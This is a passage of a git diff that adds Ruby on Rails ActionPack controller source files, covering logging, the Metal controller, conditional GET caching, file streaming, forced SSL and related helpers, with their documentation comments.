+ActiveSupport::Deprecation.warn 'ActionController::Routing is deprecated and will be removed, use ActionDispatch::Routing instead.'
\ No newline at end of file
diff --git a/actionpack/lib/action_controller/deprecated/integration_test.rb b/actionpack/lib/action_controller/deprecated/integration_test.rb
new file mode 100644
index 0000000..54eae48
--- /dev/null
+++ b/actionpack/lib/action_controller/deprecated/integration_test.rb
@@ -0,0 +1,5 @@
+ActionController::Integration = ActionDispatch::Integration
+ActionController::IntegrationTest = ActionDispatch::IntegrationTest
+
+ActiveSupport::Deprecation.warn 'ActionController::Integration is deprecated and will be removed, use ActionDispatch::Integration instead.'
+ActiveSupport::Deprecation.warn 'ActionController::IntegrationTest is deprecated and will be removed, use ActionDispatch::IntegrationTest instead.'
diff --git a/actionpack/lib/action_controller/log_subscriber.rb b/actionpack/lib/action_controller/log_subscriber.rb
new file mode 100644
index 0000000..7318c8b
--- /dev/null
+++ b/actionpack/lib/action_controller/log_subscriber.rb
@@ -0,0 +1,74 @@
+
+module ActionController
+ class LogSubscriber < ActiveSupport::LogSubscriber
+ INTERNAL_PARAMS = %w(controller action format _method only_path)
+
+ def start_processing(event)
+ return unless logger.info?
+
+ payload = event.payload
+ params = payload[:params].except(*INTERNAL_PARAMS)
+ format = payload[:format]
+ format = format.to_s.upcase if format.is_a?(Symbol)
+
+ info "Processing by #{payload[:controller]}##{payload[:action]} as #{format}"
+ info " Parameters: #{params.inspect}" unless params.empty?
+ end
+
+ def process_action(event)
+ return unless logger.info?
+
+ payload = event.payload
+ additions = ActionController::Base.log_process_action(payload)
+
+ status = payload[:status]
+ if status.nil? && payload[:exception].present?
+ exception_class_name = payload[:exception].first
+ status = ActionDispatch::ExceptionWrapper.status_code_for_exception(exception_class_name)
+ end
+ message = "Completed #{status} #{Rack::Utils::HTTP_STATUS_CODES[status]} in #{event.duration.round}ms"
+ message << " (#{additions.join(" | ")})" unless additions.blank?
+
+ info(message)
+ end
+
+ def halted_callback(event)
+ info("Filter chain halted as #{event.payload[:filter]} rendered or redirected")
+ end
+
+ def send_file(event)
+ info("Sent file #{event.payload[:path]} (#{event.duration.round(1)}ms)")
+ end
+
+ def redirect_to(event)
+ info("Redirected to #{event.payload[:location]}")
+ end
+
+ def send_data(event)
+ info("Sent data #{event.payload[:filename]} (#{event.duration.round(1)}ms)")
+ end
+
+ def unpermitted_parameters(event)
+ unpermitted_keys = event.payload[:keys]
+ debug("Unpermitted parameters: #{unpermitted_keys.join(", ")}")
+ end
+
+ %w(write_fragment read_fragment exist_fragment?
+ expire_fragment expire_page write_page).each do |method|
+ class_eval <<-METHOD, __FILE__, __LINE__ + 1
+ def #{method}(event)
+ return unless logger.info?
+ key_or_path = event.payload[:key] || event.payload[:path]
+ human_name = #{method.to_s.humanize.inspect}
+ info("\#{human_name} \#{key_or_path} (\#{event.duration.round(1)}ms)")
+ end
+ METHOD
+ end
+
+ def logger
+ ActionController::Base.logger
+ end
+ end
+end
+
+ActionController::LogSubscriber.attach_to :action_controller
diff --git a/actionpack/lib/action_controller/metal.rb b/actionpack/lib/action_controller/metal.rb
new file mode 100644
index 0000000..b84c9e7
--- /dev/null
+++ b/actionpack/lib/action_controller/metal.rb
@@ -0,0 +1,235 @@
+require 'active_support/core_ext/array/extract_options'
+require 'action_dispatch/middleware/stack'
+
+module ActionController
+ # Extend ActionDispatch middleware stack to make it aware of options
+ # allowing the following syntax in controllers:
+ #
+ # class PostsController < ApplicationController
+ # use AuthenticationMiddleware, except: [:index, :show]
+ # end
+ #
+ class MiddlewareStack < ActionDispatch::MiddlewareStack #:nodoc:
+ class Middleware < ActionDispatch::MiddlewareStack::Middleware #:nodoc:
+ def initialize(klass, *args, &block)
+ options = args.extract_options!
+ @only = Array(options.delete(:only)).map(&:to_s)
+ @except = Array(options.delete(:except)).map(&:to_s)
+ args << options unless options.empty?
+ super
+ end
+
+ def valid?(action)
+ if @only.present?
+ @only.include?(action)
+ elsif @except.present?
+ !@except.include?(action)
+ else
+ true
+ end
+ end
+ end
+
+ def build(action, app=nil, &block)
+ app ||= block
+ action = action.to_s
+ raise "MiddlewareStack#build requires an app" unless app
+
+ middlewares.reverse.inject(app) do |a, middleware|
+ middleware.valid?(action) ? middleware.build(a) : a
+ end
+ end
+ end
+
+ # <tt>ActionController::Metal</tt> is the simplest possible controller, providing a
+ # valid Rack interface without the additional niceties provided by
+ # <tt>ActionController::Base</tt>.
+ #
+ # A sample metal controller might look like this:
+ #
+ # class HelloController < ActionController::Metal
+ # def index
+ # self.response_body = "Hello World!"
+ # end
+ # end
+ #
+ # And then to route requests to your metal controller, you would add
+ # something like this to <tt>config/routes.rb</tt>:
+ #
+ # get 'hello', to: HelloController.action(:index)
+ #
+ # The +action+ method returns a valid Rack application for the \Rails
+ # router to dispatch to.
+ #
+ # == Rendering Helpers
+ #
+ # <tt>ActionController::Metal</tt> by default provides no utilities for rendering
+ # views, partials, or other responses aside from explicitly calling of
+ # <tt>response_body=</tt>, <tt>content_type=</tt>, and <tt>status=</tt>. To
+ # add the render helpers you're used to having in a normal controller, you
+ # can do the following:
+ #
+ # class HelloController < ActionController::Metal
+ # include ActionController::Rendering
+ # append_view_path "#{Rails.root}/app/views"
+ #
+ # def index
+ # render "hello/index"
+ # end
+ # end
+ #
+ # == Redirection Helpers
+ #
+ # To add redirection helpers to your metal controller, do the following:
+ #
+ # class HelloController < ActionController::Metal
+ # include ActionController::Redirecting
+ # include Rails.application.routes.url_helpers
+ #
+ # def index
+ # redirect_to root_url
+ # end
+ # end
+ #
+ # == Other Helpers
+ #
+ # You can refer to the modules included in <tt>ActionController::Base</tt> to see
+ # other features you can bring into your metal controller.
+ #
+ class Metal < AbstractController::Base
+ abstract!
+
+ attr_internal_writer :env
+
+ def env
+ @_env ||= {}
+ end
+
+ # Returns the last part of the controller's name, underscored, without the ending
+ # <tt>Controller</tt>. For instance, PostsController returns <tt>posts</tt>.
+ # Namespaces are left out, so Admin::PostsController returns <tt>posts</tt> as well.
+ #
+ # ==== Returns
+ # * <tt>string</tt>
+ def self.controller_name
+ @controller_name ||= name.demodulize.sub(/Controller$/, '').underscore
+ end
+
+ # Delegates to the class' <tt>controller_name</tt>
+ def controller_name
+ self.class.controller_name
+ end
+
+ # The details below can be overridden to support a specific
+ # Request and Response object. The default ActionController::Base
+ # implementation includes RackDelegation, which makes a request
+ # and response object available. You might wish to control the
+ # environment and response manually for performance reasons.
+
+ attr_internal :headers, :response, :request
+ delegate :session, :to => "@_request"
+
+ def initialize
+ @_headers = {"Content-Type" => "text/html"}
+ @_status = 200
+ @_request = nil
+ @_response = nil
+ @_routes = nil
+ super
+ end
+
+ def params
+ @_params ||= request.parameters
+ end
+
+ def params=(val)
+ @_params = val
+ end
+
+ # Basic implementations for content_type=, location=, and headers are
+ # provided to reduce the dependency on the RackDelegation module
+ # in Renderer and Redirector.
+
+ def content_type=(type)
+ headers["Content-Type"] = type.to_s
+ end
+
+ def content_type
+ headers["Content-Type"]
+ end
+
+ def location
+ headers["Location"]
+ end
+
+ def location=(url)
+ headers["Location"] = url
+ end
+
+ # basic url_for that can be overridden for more robust functionality
+ def url_for(string)
+ string
+ end
+
+ def status
+ @_status
+ end
+
+ def status=(status)
+ @_status = Rack::Utils.status_code(status)
+ end
+
+ def response_body=(body)
+ body = [body] unless body.nil? || body.respond_to?(:each)
+ super
+ end
+
+ def performed?
+ response_body || (response && response.committed?)
+ end
+
+ def dispatch(name, request) #:nodoc:
+ @_request = request
+ @_env = request.env
+ @_env['action_controller.instance'] = self
+ process(name)
+ to_a
+ end
+
+ def to_a #:nodoc:
+ response ? response.to_a : [status, headers, response_body]
+ end
+
+ class_attribute :middleware_stack
+ self.middleware_stack = ActionController::MiddlewareStack.new
+
+ def self.inherited(base) # :nodoc:
+ base.middleware_stack = middleware_stack.dup
+ super
+ end
+
+ # Pushes the given Rack middleware and its arguments to the bottom of the
+ # middleware stack.
+ def self.use(*args, &block)
+ middleware_stack.use(*args, &block)
+ end
+
+ # Alias for +middleware_stack+.
+ def self.middleware
+ middleware_stack
+ end
+
+ # Makes the controller a Rack endpoint that runs the action in the given
+ # +env+'s +action_dispatch.request.path_parameters+ key.
+ def self.call(env)
+ action(env['action_dispatch.request.path_parameters'][:action]).call(env)
+ end
+
+ # Returns a Rack endpoint for the given action name.
+ def self.action(name, klass = ActionDispatch::Request)
+ middleware_stack.build(name.to_s) do |env|
+ new.dispatch(name, klass.new(env))
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/metal/conditional_get.rb b/actionpack/lib/action_controller/metal/conditional_get.rb
new file mode 100644
index 0000000..6e0cd51
--- /dev/null
+++ b/actionpack/lib/action_controller/metal/conditional_get.rb
@@ -0,0 +1,175 @@
+require 'active_support/core_ext/hash/keys'
+
+module ActionController
+ module ConditionalGet
+ extend ActiveSupport::Concern
+
+ include RackDelegation
+ include Head
+
+ included do
+ class_attribute :etaggers
+ self.etaggers = []
+ end
+
+ module ClassMethods
+ # Allows you to consider additional controller-wide information when generating an etag.
+ # For example, if you serve pages tailored depending on who's logged in at the moment, you
+ # may want to add the current user id to be part of the etag to prevent authorized displaying
+ # of cached pages.
+ #
+ # class InvoicesController < ApplicationController
+ # etag { current_user.try :id }
+ #
+ # def show
+ # # Etag will differ even for the same invoice when it's viewed by a different current_user
+ # @invoice = Invoice.find(params[:id])
+ # fresh_when(@invoice)
+ # end
+ # end
+ def etag(&etagger)
+ self.etaggers += [etagger]
+ end
+ end
+
+ # Sets the etag, +last_modified+, or both on the response and renders a
+ # <tt>304 Not Modified</tt> response if the request is already fresh.
+ #
+ # === Parameters:
+ #
+ # * <tt>:etag</tt>.
+ # * <tt>:last_modified</tt>.
+ # * <tt>:public</tt> By default the Cache-Control header is private, set this to
+ # +true+ if you want your application to be cachable by other devices (proxy caches).
+ #
+ # === Example:
+ #
+ # def show
+ # @article = Article.find(params[:id])
+ # fresh_when(etag: @article, last_modified: @article.created_at, public: true)
+ # end
+ #
+ # This will render the show template if the request isn't sending a matching etag or
+ # If-Modified-Since header and just a <tt>304 Not Modified</tt> response if there's a match.
+ #
+ # You can also just pass a record where +last_modified+ will be set by calling
+ # +updated_at+ and the etag by passing the object itself.
+ #
+ # def show
+ # @article = Article.find(params[:id])
+ # fresh_when(@article)
+ # end
+ #
+ # When passing a record, you can still set whether the public header:
+ #
+ # def show
+ # @article = Article.find(params[:id])
+ # fresh_when(@article, public: true)
+ # end
+ def fresh_when(record_or_options, additional_options = {})
+ if record_or_options.is_a? Hash
+ options = record_or_options
+ options.assert_valid_keys(:etag, :last_modified, :public)
+ else
+ record = record_or_options
+ options = { etag: record, last_modified: record.try(:updated_at) }.merge!(additional_options)
+ end
+
+ response.etag = combine_etags(options[:etag]) if options[:etag]
+ response.last_modified = options[:last_modified] if options[:last_modified]
+ response.cache_control[:public] = true if options[:public]
+
+ head :not_modified if request.fresh?(response)
+ end
+
+ # Sets the +etag+ and/or +last_modified+ on the response and checks it against
+ # the client request. If the request doesn't match the options provided, the
+ # request is considered stale and should be generated from scratch. Otherwise,
+ # it's fresh and we don't need to generate anything and a reply of <tt>304 Not Modified</tt> is sent.
+ #
+ # === Parameters:
+ #
+ # * <tt>:etag</tt>.
+ # * <tt>:last_modified</tt>.
+ # * <tt>:public</tt> By default the Cache-Control header is private, set this to
+ # +true+ if you want your application to be cachable by other devices (proxy caches).
+ #
+ # === Example:
+ #
+ # def show
+ # @article = Article.find(params[:id])
+ #
+ # if stale?(etag: @article, last_modified: @article.created_at)
+ # @statistics = @article.really_expensive_call
+ # respond_to do |format|
+ # # all the supported formats
+ # end
+ # end
+ # end
+ #
+ # You can also just pass a record where +last_modified+ will be set by calling
+ # updated_at and the etag by passing the object itself.
+ #
+ # def show
+ # @article = Article.find(params[:id])
+ #
+ # if stale?(@article)
+ # @statistics = @article.really_expensive_call
+ # respond_to do |format|
+ # # all the supported formats
+ # end
+ # end
+ # end
+ #
+ # When passing a record, you can still set whether the public header:
+ #
+ # def show
+ # @article = Article.find(params[:id])
+ #
+ # if stale?(@article, public: true)
+ # @statistics = @article.really_expensive_call
+ # respond_to do |format|
+ # # all the supported formats
+ # end
+ # end
+ # end
+ def stale?(record_or_options, additional_options = {})
+ fresh_when(record_or_options, additional_options)
+ !request.fresh?(response)
+ end
+
+ # Sets a HTTP 1.1 Cache-Control header. Defaults to issuing a +private+
+ # instruction, so that intermediate caches must not cache the response.
+ #
+ # expires_in 20.minutes
+ # expires_in 3.hours, public: true
+ # expires_in 3.hours, public: true, must_revalidate: true
+ #
+ # This method will overwrite an existing Cache-Control header.
+ # See http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html for more possibilities.
+ #
+ # The method will also ensure a HTTP Date header for client compatibility.
+ def expires_in(seconds, options = {})
+ response.cache_control.merge!(
+ :max_age => seconds,
+ :public => options.delete(:public),
+ :must_revalidate => options.delete(:must_revalidate)
+ )
+ options.delete(:private)
+
+ response.cache_control[:extras] = options.map {|k,v| "#{k}=#{v}"}
+ response.date = Time.now unless response.date?
+ end
+
+ # Sets a HTTP 1.1 Cache-Control header of <tt>no-cache</tt> so no caching should
+ # occur by the browser or intermediate caches (like caching proxy servers).
+ def expires_now
+ response.cache_control.replace(:no_cache => true)
+ end
+
+ private
+ def combine_etags(etag)
+ [ etag, *etaggers.map { |etagger| instance_exec(&etagger) }.compact ]
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/metal/cookies.rb b/actionpack/lib/action_controller/metal/cookies.rb
new file mode 100644
index 0000000..d787f01
--- /dev/null
+++ b/actionpack/lib/action_controller/metal/cookies.rb
@@ -0,0 +1,16 @@
+module ActionController #:nodoc:
+ module Cookies
+ extend ActiveSupport::Concern
+
+ include RackDelegation
+
+ included do
+ helper_method :cookies
+ end
+
+ private
+ def cookies
+ request.cookie_jar
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/metal/data_streaming.rb b/actionpack/lib/action_controller/metal/data_streaming.rb
new file mode 100644
index 0000000..75c4d3e
--- /dev/null
+++ b/actionpack/lib/action_controller/metal/data_streaming.rb
@@ -0,0 +1,171 @@
+require 'action_controller/metal/exceptions'
+
+module ActionController #:nodoc:
+ # Methods for sending arbitrary data and for streaming files to the browser,
+ # instead of rendering.
+ module DataStreaming
+ extend ActiveSupport::Concern
+
+ include ActionController::Rendering
+
+ DEFAULT_SEND_FILE_TYPE = 'application/octet-stream'.freeze #:nodoc:
+ DEFAULT_SEND_FILE_DISPOSITION = 'attachment'.freeze #:nodoc:
+
+ protected
+ # Sends the file. This uses a server-appropriate method (such as X-Sendfile)
+ # via the Rack::Sendfile middleware. The header to use is set via
+ # +config.action_dispatch.x_sendfile_header+.
+ # Your server can also configure this for you by setting the X-Sendfile-Type header.
+ #
+ # Be careful to sanitize the path parameter if it is coming from a web
+ # page. <tt>send_file(params[:path])</tt> allows a malicious user to
+ # download any file on your server.
+ #
+ # Options:
+ # * <tt>:filename</tt> - suggests a filename for the browser to use.
+ # Defaults to <tt>File.basename(path)</tt>.
+ # * <tt>:type</tt> - specifies an HTTP content type.
+ # You can specify either a string or a symbol for a registered type register with
+ # <tt>Mime::Type.register</tt>, for example :json
+ # If omitted, type will be guessed from the file extension specified in <tt>:filename</tt>.
+ # If no content type is registered for the extension, default type 'application/octet-stream' will be used.
+ # * <tt>:disposition</tt> - specifies whether the file will be shown inline or downloaded.
+ # Valid values are 'inline' and 'attachment' (default).
+ # * <tt>:status</tt> - specifies the status code to send with the response. Defaults to 200.
+ # * <tt>:url_based_filename</tt> - set to +true+ if you want the browser guess the filename from
+ # the URL, which is necessary for i18n filenames on certain browsers
+ # (setting <tt>:filename</tt> overrides this option).
+ #
+ # The default Content-Type and Content-Disposition headers are
+ # set to download arbitrary binary files in as many browsers as
+ # possible. IE versions 4, 5, 5.5, and 6 are all known to have
+ # a variety of quirks (especially when downloading over SSL).
+ #
+ # Simple download:
+ #
+ # send_file '/path/to.zip'
+ #
+ # Show a JPEG in the browser:
+ #
+ # send_file '/path/to.jpeg', type: 'image/jpeg', disposition: 'inline'
+ #
+ # Show a 404 page in the browser:
+ #
+ # send_file '/path/to/404.html', type: 'text/html; charset=utf-8', status: 404
+ #
+ # Read about the other Content-* HTTP headers if you'd like to
+ # provide the user with more information (such as Content-Description) in
+ # http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.11.
+ #
+ # Also be aware that the document may be cached by proxies and browsers.
+ # The Pragma and Cache-Control headers declare how the file may be cached
+ # by intermediaries. They default to require clients to validate with
+ # the server before releasing cached responses. See
+ # http://www.mnot.net/cache_docs/ for an overview of web caching and
+ # http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.9
+ # for the Cache-Control header spec.
+ def send_file(path, options = {}) #:doc:
+ raise MissingFile, "Cannot read file #{path}" unless File.file?(path) and File.readable?(path)
+
+ options[:filename] ||= File.basename(path) unless options[:url_based_filename]
+ send_file_headers! options
+
+ self.status = options[:status] || 200
+ self.content_type = options[:content_type] if options.key?(:content_type)
+ self.response_body = FileBody.new(path)
+ end
+
+ # Avoid having to pass an open file handle as the response body.
+ # Rack::Sendfile will usually intercept the response and uses
+ # the path directly, so there is no reason to open the file.
+ class FileBody #:nodoc:
+ attr_reader :to_path
+
+ def initialize(path)
+ @to_path = path
+ end
+
+ # Stream the file's contents if Rack::Sendfile isn't present.
+ def each
+ File.open(to_path, 'rb') do |file|
+ while chunk = file.read(16384)
+ yield chunk
+ end
+ end
+ end
+ end
+
+ # Sends the given binary data to the browser. This method is similar to
+ # <tt>render text: data</tt>, but also allows you to specify whether
+ # the browser should display the response as a file attachment (i.e. in a
+ # download dialog) or as inline data. You may also set the content type,
+ # the apparent file name, and other things.
+ #
+ # Options:
+ # * <tt>:filename</tt> - suggests a filename for the browser to use.
+ # * <tt>:type</tt> - specifies an HTTP content type. Defaults to 'application/octet-stream'. You can specify
+ # either a string or a symbol for a registered type register with <tt>Mime::Type.register</tt>, for example :json
+ # If omitted, type will be guessed from the file extension specified in <tt>:filename</tt>.
+ # If no content type is registered for the extension, default type 'application/octet-stream' will be used.
+ # * <tt>:disposition</tt> - specifies whether the file will be shown inline or downloaded.
+ # Valid values are 'inline' and 'attachment' (default).
+ # * <tt>:status</tt> - specifies the status code to send with the response. Defaults to 200.
+ #
+ # Generic data download:
+ #
+ # send_data buffer
+ #
+ # Download a dynamically-generated tarball:
+ #
+ # send_data generate_tgz('dir'), filename: 'dir.tgz'
+ #
+ # Display an image Active Record in the browser:
+ #
+ # send_data image.data, type: image.content_type, disposition: 'inline'
+ #
+ # See +send_file+ for more information on HTTP Content-* headers and caching.
+ def send_data(data, options = {}) #:doc:
+ send_file_headers! options
+ render options.slice(:status, :content_type).merge(:text => data)
+ end
+
+ private
+ def send_file_headers!(options)
+ type_provided = options.has_key?(:type)
+
+ content_type = options.fetch(:type, DEFAULT_SEND_FILE_TYPE)
+ raise ArgumentError, ":type option required" if content_type.nil?
+
+ if content_type.is_a?(Symbol)
+ extension = Mime[content_type]
+ raise ArgumentError, "Unknown MIME type #{options[:type]}" unless extension
+ self.content_type = extension
+ else
+ if !type_provided && options[:filename]
+ # If type wasn't provided, try guessing from file extension.
+ content_type = Mime::Type.lookup_by_extension(File.extname(options[:filename]).downcase.delete('.')) || content_type
+ end
+ self.content_type = content_type
+ end
+
+ disposition = options.fetch(:disposition, DEFAULT_SEND_FILE_DISPOSITION)
+ unless disposition.nil?
+ disposition = disposition.to_s
+ disposition += %(; filename="#{options[:filename]}") if options[:filename]
+ headers['Content-Disposition'] = disposition
+ end
+
+ headers['Content-Transfer-Encoding'] = 'binary'
+
+ response.sending_file = true
+
+ # Fix a problem with IE 6.0 on opening downloaded files:
+ # If Cache-Control: no-cache is set (which Rails does by default),
+ # IE removes the file it just downloaded from its cache immediately
+ # after it displays the "open/save" dialog, which means that if you
+ # hit "open" the file isn't there anymore when the application that
+ # is called for handling the download is run, so let's workaround that
+ response.cache_control[:public] ||= false
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/metal/exceptions.rb b/actionpack/lib/action_controller/metal/exceptions.rb
new file mode 100644
index 0000000..3844dbf
--- /dev/null
+++ b/actionpack/lib/action_controller/metal/exceptions.rb
@@ -0,0 +1,59 @@
+module ActionController
+ class ActionControllerError < StandardError #:nodoc:
+ end
+
+ class BadRequest < ActionControllerError #:nodoc:
+ attr_reader :original_exception
+
+ def initialize(type = nil, e = nil)
+ return super() unless type && e
+
+ super("Invalid #{type} parameters: #{e.message}")
+ @original_exception = e
+ set_backtrace e.backtrace
+ end
+ end
+
+ class RenderError < ActionControllerError #:nodoc:
+ end
+
+ class RoutingError < ActionControllerError #:nodoc:
+ attr_reader :failures
+ def initialize(message, failures=[])
+ super(message)
+ @failures = failures
+ end
+ end
+
+ class ActionController::UrlGenerationError < RoutingError #:nodoc:
+ end
+
+ class MethodNotAllowed < ActionControllerError #:nodoc:
+ def initialize(*allowed_methods)
+ super("Only #{allowed_methods.to_sentence(:locale => :en)} requests are allowed.")
+ end
+ end
+
+ class NotImplemented < MethodNotAllowed #:nodoc:
+ end
+
+ class UnknownController < ActionControllerError #:nodoc:
+ end
+
+ class MissingFile < ActionControllerError #:nodoc:
+ end
+
+ class SessionOverflowError < ActionControllerError #:nodoc:
+ DEFAULT_MESSAGE = 'Your session data is larger than the data column in which it is to be stored. You must increase the size of your data column if you intend to store large data.'
+
+ def initialize(message = nil)
+ super(message || DEFAULT_MESSAGE)
+ end
+ end
+
+ class UnknownHttpMethod < ActionControllerError #:nodoc:
+ end
+
+ class UnknownFormat < ActionControllerError #:nodoc:
+ end
+end
diff --git a/actionpack/lib/action_controller/metal/flash.rb b/actionpack/lib/action_controller/metal/flash.rb
new file mode 100644
index 0000000..b078beb
--- /dev/null
+++ b/actionpack/lib/action_controller/metal/flash.rb
@@ -0,0 +1,43 @@
+module ActionController #:nodoc:
+ module Flash
+ extend ActiveSupport::Concern
+
+ included do
+ class_attribute :_flash_types, instance_accessor: false
+ self._flash_types = []
+
+ delegate :flash, to: :request
+ add_flash_types(:alert, :notice)
+ end
+
+ module ClassMethods
+ def add_flash_types(*types)
+ types.each do |type|
+ next if _flash_types.include?(type)
+
+ define_method(type) do
+ request.flash[type]
+ end
+ helper_method type
+
+ _flash_types << type
+ end
+ end
+ end
+
+ protected
+ def redirect_to(options = {}, response_status_and_flash = {}) #:doc:
+ self.class._flash_types.each do |flash_type|
+ if type = response_status_and_flash.delete(flash_type)
+ flash[flash_type] = type
+ end
+ end
+
+ if other_flashes = response_status_and_flash.delete(:flash)
+ flash.update(other_flashes)
+ end
+
+ super(options, response_status_and_flash)
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/metal/force_ssl.rb b/actionpack/lib/action_controller/metal/force_ssl.rb
new file mode 100644
index 0000000..b8afce4
--- /dev/null
+++ b/actionpack/lib/action_controller/metal/force_ssl.rb
@@ -0,0 +1,97 @@
+require 'active_support/core_ext/hash/except'
+require 'active_support/core_ext/hash/slice'
+
+module ActionController
+ # This module provides a method which will redirect browser to use HTTPS
+ # protocol. This will ensure that user's sensitive information will be
+ # transferred safely over the internet. You _should_ always force browser
+ # to use HTTPS when you're transferring sensitive information such as
+ # user authentication, account information, or credit card information.
+ #
+ # Note that if you are really concerned about your application security,
+ # you might consider using +config.force_ssl+ in your config file instead.
+ # That will ensure all the data transferred via HTTPS protocol and prevent
+ # user from getting session hijacked when accessing the site under unsecured
+ # HTTP protocol.
+ module ForceSSL
+ extend ActiveSupport::Concern
+ include AbstractController::Callbacks
+
+ ACTION_OPTIONS = [:only, :except, :if, :unless]
+ URL_OPTIONS = [:protocol, :host, :domain, :subdomain, :port, :path]
+ REDIRECT_OPTIONS = [:status, :flash, :alert, :notice]
+
+ module ClassMethods
+ # Force the request to this particular controller or specified actions to be
+ # under HTTPS protocol.
+ #
+ # If you need to disable this for any reason (e.g. development) then you can use
+ # an +:if+ or +:unless+ condition.
+ #
+ # class AccountsController < ApplicationController
+ # force_ssl if: :ssl_configured?
+ #
+ # def ssl_configured?
+ # !Rails.env.development?
+ # end
+ # end
+ #
+ # ==== URL Options
+ # You can pass any of the following options to affect the redirect url
+ # * <tt>host</tt> - Redirect to a different host name
+ # * <tt>subdomain</tt> - Redirect to a different subdomain
+ # * <tt>domain</tt> - Redirect to a different domain
+ # * <tt>port</tt> - Redirect to a non-standard port
+ # * <tt>path</tt> - Redirect to a different path
+ #
+ # ==== Redirect Options
+ # You can pass any of the following options to affect the redirect status and response
+ # * <tt>status</tt> - Redirect with a custom status (default is 301 Moved Permanently)
+ # * <tt>flash</tt> - Set a flash message when redirecting
+ # * <tt>alert</tt> - Set a alert message when redirecting
+ # * <tt>notice</tt> - Set a notice message when redirecting
+ #
+ # ==== Action Options
+ # You can pass any of the following options to affect the before_action callback
+ # * <tt>only</tt> - The callback should be run only for this action
+ # * <tt>except</tt> - The callback should be run for all actions except this action
+ # * <tt>if</tt> - A symbol naming an instance method or a proc; the callback
+ # will be called only when it returns a true value.
+ # * <tt>unless</tt> - A symbol naming an instance method or a proc; the callback
+ # will be called only when it returns a false value.
+ def force_ssl(options = {})
+ action_options = options.slice(*ACTION_OPTIONS)
+ redirect_options = options.except(*ACTION_OPTIONS)
+ before_action(action_options) do
+ force_ssl_redirect(redirect_options)
+ end
+ end
+ end
+
+ # Redirect the existing request to use the HTTPS protocol.
+ #
+ # ==== Parameters
+ # * <tt>host_or_options</tt> - Either a host name or any of the url & redirect options
+ # available to the <tt>force_ssl</tt> method.
+ def force_ssl_redirect(host_or_options = nil)
+ unless request.ssl?
+ options = {
+ :protocol => 'https://',
+ :host => request.host,
+ :path => request.fullpath,
+ :status => :moved_permanently
+ }
+
+ if host_or_options.is_a?(Hash)
+ options.merge!(host_or_options)
+ elsif host_or_options
+ options.merge!(:host => host_or_options)
+ end
+
+ secure_url = ActionDispatch::Http::URL.url_for(options.slice(*URL_OPTIONS))
+ flash.keep if respond_to?(:flash)
+ redirect_to secure_url, options.slice(*REDIRECT_OPTIONS)
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/metal/head.rb b/actionpack/lib/action_controller/metal/head.rb
new file mode 100644
index 0000000..8237db1
--- /dev/null
+++ b/actionpack/lib/action_controller/metal/head.rb
@@ -0,0 +1,56 @@
+module ActionController
+ module Head
+ extend ActiveSupport::Concern
+
+ # Return a response that has no content (merely headers). The options
+ # argument is interpreted to be a hash of header names and values.
+ # This allows you to easily return a response that consists only of
+ # significant headers:
+ #
+ # head :created, location: person_path(@person)
+ #
+ # head :created, location: @person
+ #
+ # It can also be used to return exceptional conditions:
+ #
+ # return head(:method_not_allowed) unless request.post?
+ # return head(:bad_request) unless valid_request?
+ # render
+ def head(status, options = {})
+ options, status = status, nil if status.is_a?(Hash)
+ status ||= options.delete(:status) || :ok
+ location = options.delete(:location)
+ content_type = options.delete(:content_type)
+
+ options.each do |key, value|
+ headers[key.to_s.dasherize.split('-').each { |v| v[0] = v[0].chr.upcase }.join('-')] = value.to_s
+ end
+
+ self.status = status
+ self.location = url_for(location) if location
+
+ if include_content?(self.status)
+ self.content_type = content_type || (Mime[formats.first] if formats)
+ self.response.charset = false if self.response
+ self.response_body = " "
+ else
+ headers.delete('Content-Type')
+ headers.delete('Content-Length')
+ self.response_body = ""
+ end
+ end
+
+ private
+ # :nodoc:
+ def include_content?(status)
+ case status
+ when 100..199
+ false
+ when 204, 205, 304
+ false
+ else
+ true
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/metal/helpers.rb b/actionpack/lib/action_controller/metal/helpers.rb
new file mode 100644
index 0000000..243fd40
--- /dev/null
+++ b/actionpack/lib/action_controller/metal/helpers.rb
@@ -0,0 +1,109 @@
+module ActionController
+ # The \Rails framework provides a large number of helpers for working with assets, dates, forms,
+ # numbers and model objects, to name a few. These helpers are available to all templates
+ # by default.
+ #
+ # In addition to using the standard template helpers provided, creating custom helpers to
+ # extract complicated logic or reusable functionality is strongly encouraged. By default, each controller
+ # will include all helpers.
+ #
+ # In previous versions of \Rails the controller will include a helper whose
+ # name matches that of the controller, e.g., <tt>MyController</tt> will automatically
+ # include <tt>MyHelper</tt>. To return old behavior set +config.action_controller.include_all_helpers+ to +false+.
+ #
+ # Additional helpers can be specified using the +helper+ class method in ActionController::Base or any
+ # controller which inherits from it.
+ #
+ # The +to_s+ method from the \Time class can be wrapped in a helper method to display a custom message if
+ # a \Time object is blank:
+ #
+ # module FormattedTimeHelper
+ # def format_time(time, format=:long, blank_message=" ")
+ # time.blank? ? blank_message : time.to_s(format)
+ # end
+ # end
+ #
+ # FormattedTimeHelper can now be included in a controller, using the +helper+ class method:
+ #
+ # class EventsController < ActionController::Base
+ # helper FormattedTimeHelper
+ # def index
+ # @events = Event.all
+ # end
+ # end
+ #
+ # Then, in any view rendered by <tt>EventController</tt>, the <tt>format_time</tt> method can be called:
+ #
+ # <% @events.each do |event| -%>
+ # <p>
+ # <%= format_time(event.time, :short, "N/A") %> | <%= event.name %>
+ # </p>
+ # <% end -%>
+ #
+ # Finally, assuming we have two event instances, one which has a time and one which does not,
+ # the output might look like this:
+ #
+ # 23 Aug 11:30 | Carolina Railhawks Soccer Match
+ # N/A | Carolina Railhaws Training Workshop
+ #
+ module Helpers
+ extend ActiveSupport::Concern
+
+ class << self; attr_accessor :helpers_path; end
+ include AbstractController::Helpers
+
+ included do
+ class_attribute :helpers_path, :include_all_helpers
+ self.helpers_path ||= []
+ self.include_all_helpers = true
+ end
+
+ module ClassMethods
+ # Declares helper accessors for controller attributes. For example, the
+ # following adds new +name+ and <tt>name=</tt> instance methods to a
+ # controller and makes them available to the view:
+ # attr_accessor :name
+ # helper_attr :name
+ #
+ # ==== Parameters
